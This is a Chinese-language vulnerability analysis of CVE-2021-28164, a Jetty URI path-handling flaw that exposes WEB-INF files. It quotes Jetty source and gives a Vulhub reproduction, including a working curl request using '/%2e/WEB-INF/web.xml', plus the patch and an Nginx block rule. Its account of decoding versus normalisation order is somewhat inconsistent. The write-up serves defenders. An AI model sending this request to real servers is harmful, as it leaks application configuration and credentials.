漏洞概述
漏洞名稱:Jetty 路徑解析邏輯漏洞導致 WEB-INF 敏感信息泄露
漏洞編號:CVE-2021-28164
CVSS 評分:7.5
影響版本:Jetty 9.4.37 - 9.4.38
修復版本:Jetty ≥ 9.4.39
漏洞類型:路徑遍歷/信息泄露
CVE-2021-28164 是 Eclipse Jetty 服務器在處理 URI 路徑時因編碼解析順序與路徑規范化邏輯沖突導致的安全漏洞。攻擊者通過構造包含 URL 編碼點段(如 %2e
)的惡意路徑(如 /%2e/WEB-INF/web.xml
),可繞過安全校驗直接訪問 WEB-INF
目錄下的敏感文件(如 web.xml
、classes
等),導致應用配置、數據庫憑證等敏感信息泄露。
技術細節與源碼分析
漏洞成因
Jetty 為符合 RFC3986 規范,默認支持 URI 編碼解析,但在處理路徑時存在兩階段缺陷:
- 路徑規范化順序錯誤:先解析 URL 編碼(如
%2e
→.
),再執行路徑規范化(處理.
/..
點段)。 - 安全校驗滯后:
ContextHandler
的防護邏輯在規范化后執行,無法檢測編碼后的惡意路徑。
關鍵源碼分析
(1)路徑解析入口(HttpURI.parse()
)
代碼定位:org.eclipse.jetty.http.HttpURI
public void parse(String uri) {clear();this._uri = uri;parse(State.START, uri, 0, uri.length());}
private void parse(State state, String uri, int offset, int end) {if (!encoded && j == 0) {if (this._param == null) {this._decodedPath = this._path;} else {this._decodedPath = this._path.substring(0, this._path.length() - this._param.length() - 1);} } else if (this._path != null) {String canonical = URIUtil.canonicalPath(this._path);// 先規范化路徑(未解碼)if (canonical == null)throw new BadMessageException("Bad URI"); this._decodedPath = URIUtil.decodePath(canonical);// 再解碼URL編碼} }
問題:canonicalPath()
無法識別編碼后的點段(如 %2e
),導致 /%2e/
未被規范化為當前目錄。
(2)路徑規范化函數(canonicalPath()
)
代碼定位:org.eclipse.jetty.http.HttpURI#canonicalPath
public static String canonicalPath(String path) {if (path == null || path.isEmpty()) {return path;}int end = path.length();int i = 0;int dots = 0;while (i < end) {char c = path.charAt(i);switch (c) {case '/':dots = 0;break;case '.':if (dots == 0) {dots = 1;break;} dots = -1;break;default:dots = -1;break;} i++;} if (i == end) {return path;}StringBuilder canonical = new StringBuilder(path.length());canonical.append(path, 0, i);i++;while (i <= end) { char c = (i < end) ? path.charAt(i) : Character.MIN_VALUE;switch (c) {case '\000':if (dots == 2) {if (canonical.length() < 2)return null; canonical.setLength(canonical.length() - 1);canonical.setLength(canonical.lastIndexOf("/") + 1);} break;case '/':switch (dots) {case 1:break;case 2:if (canonical.length() < 2)return null; canonical.setLength(canonical.length() - 1);canonical.setLength(canonical.lastIndexOf("/") + 1);break;default:canonical.append(c); break;} dots = 0;break;case '.':switch (dots) {case 0:dots = 1;break;case 1:dots = 2;break;case 2:canonical.append("...");dots = -1;break;} canonical.append('.');break; default:switch (dots) { case 1:canonical.append('.');break;case 2:canonical.append("..");break;} canonical.append(c);dots = -1;break;} i++;} return canonical.toString();// 僅處理明文"."和"..",忽略%2e等編碼形式}
缺陷:僅過濾明文點段,未處理編碼形式,導致 /%2e/WEB-INF/web.xml
繞過規范化。
(3)安全校驗邏輯(ContextHandler.isProtectedTarget()
)
代碼定位:org.eclipse.jetty.server.handler.ContextHandler#isProtectedTarget
public boolean isProtectedTarget(String target) {if (target == null || this._protectedTargets == null) {return false;}while (target.startsWith("//")){target = URIUtil.compactPath(target);} for (int i = 0; i < this._protectedTargets.length; i++) { String t = this._protectedTargets[i];if (StringUtil.startsWithIgnoreCase(target, t)) { // 直接匹配路徑保護路徑前綴 if (target.length() == t.length()) {return true;} char c = target.charAt(t.length());if (c == '/' || c == '?' || c == '#' || c == ';')return true; } } return false;}
漏洞點:該校驗在路徑解碼后執行,攻擊者通過 /%2e/WEB-INF
可繞過 startsWithIgnoreCase("/WEB-INF")
檢測。
漏洞觸發路徑
sequenceDiagram 攻擊者->>+Jetty服務器: 發送請求 GET /%2e/WEB-INF/web.xml Jetty服務器->>HttpURI.parse(): 原始路徑="%2e/WEB-INF/web.xml" HttpURI.parse()-->>canonicalPath(): 輸入未解碼路徑 → 未識別"%2e" → 輸出不變 HttpURI.parse()-->>decodePath(): 解碼"%2e" → 生成"./WEB-INF/web.xml" Jetty服務器->>ContextHandler: 校驗"./WEB-INF/web.xml" ContextHandler-->>isProtectedTarget(): 檢查"./WEB-INF" → 不匹配"/WEB-INF" → 放行 Jetty服務器->>文件系統: 返回web.xml內容
漏洞復現
環境搭建
1.使用 Vulhub 環境啟動漏洞靶機
docker-compose up -d
2.訪問訪問 http://target:8080,確認服務正常運行
攻擊步驟
1.直接訪問/WEB-INF/web.xml
將會返回404頁面
2.使用%2e/
來繞過限制下載web.xml
curl -v 'http://192.168.1.100:8080/%2e/WEB-INF/web.xml'
修復方案
官方修復(Jetty 9.4.39+)
補丁核心:調整路徑處理順序,先解碼后規范化,并強化安全校驗:
- 修改
HttpURI.parse()
邏輯:_decodedPath = decodePath(rawURI); // 先解碼 _path = canonicalPath(_decodedPath); // 后規范化
- 增強
isProtectedTarget()
:protected boolean isProtectedTarget(String target) { String canonicalPath = URIUtil.canonicalPath(target); return canonicalPath.startsWith("/WEB-INF") || ... ; // 規范化后校驗 }
臨時緩解措施
- 升級 Jetty:≥ 9.4.39 或 ≥ 10.0.5。
- 配置過濾規則:在反向代理(如 Nginx)攔截包含
/WEB-INF
或%2e
的請求:location ~* "/\.|%2e|WEB-INF" { return 403; }
- 權限控制:確保
WEB-INF
目錄權限禁止非授權訪問。
漏洞啟示
- 規范與安全的沖突:RFC3986 的兼容性需求可能引入安全風險,需在規范實現中植入安全校驗(如規范化后二次驗證)。
- 縱深防御必要性:除代碼修復外,應結合網絡層過濾和權限最小化原則。
- 自動化檢測:CI/CD 流程中需加入路徑遍歷測試用例(如 OWASP ZAP 掃描
/..%2f
變體)。
參考鏈接
- CVE-2021-28164 漏洞原理與源碼分析(阿里云先知社區)